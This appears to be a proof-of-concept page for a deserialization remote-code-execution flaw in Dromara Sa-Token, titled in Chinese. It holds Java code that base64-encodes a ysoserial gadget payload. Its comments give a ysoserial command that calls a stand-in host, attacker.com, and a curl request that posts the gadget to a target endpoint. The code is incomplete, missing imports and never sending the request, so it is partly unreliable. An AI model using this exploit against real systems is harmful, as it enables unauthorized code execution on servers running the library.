CVE-2025-15222 Dromara Sa-Token 反序列化远程代码执行漏洞

import java.io.*; import java.util.Base64; public class CVE_2025_15222_PoC { public static void main(String[] args) throws Exception { // Generate malicious serialized payload using ysoserial // Example: java -jar ysoserial.jar URLDNS http://attacker.com > payload.ser // Read theysoserial generated payload String payloadFile = "payload.ser"; byte[] payload = Files.readAllBytes(Paths.get(payloadFile)); // Encode to base64 for transmission String base64Payload = Base64.getEncoder().encodeToString(payload); System.out.println("Base64 Encoded Payload:"); System.out.println(base64Payload); // Send the payload to the vulnerable endpoint // The vulnerable code will decode and deserialize without validation // POST /sa-token/deserialize // Body: {"data": "base64Payload"} } } // Alternative: Direct exploitation via HTTP request // curl -X POST http://target:8080/sa-token/deserialize -d '{"data":"base64_encoded_gadget"}'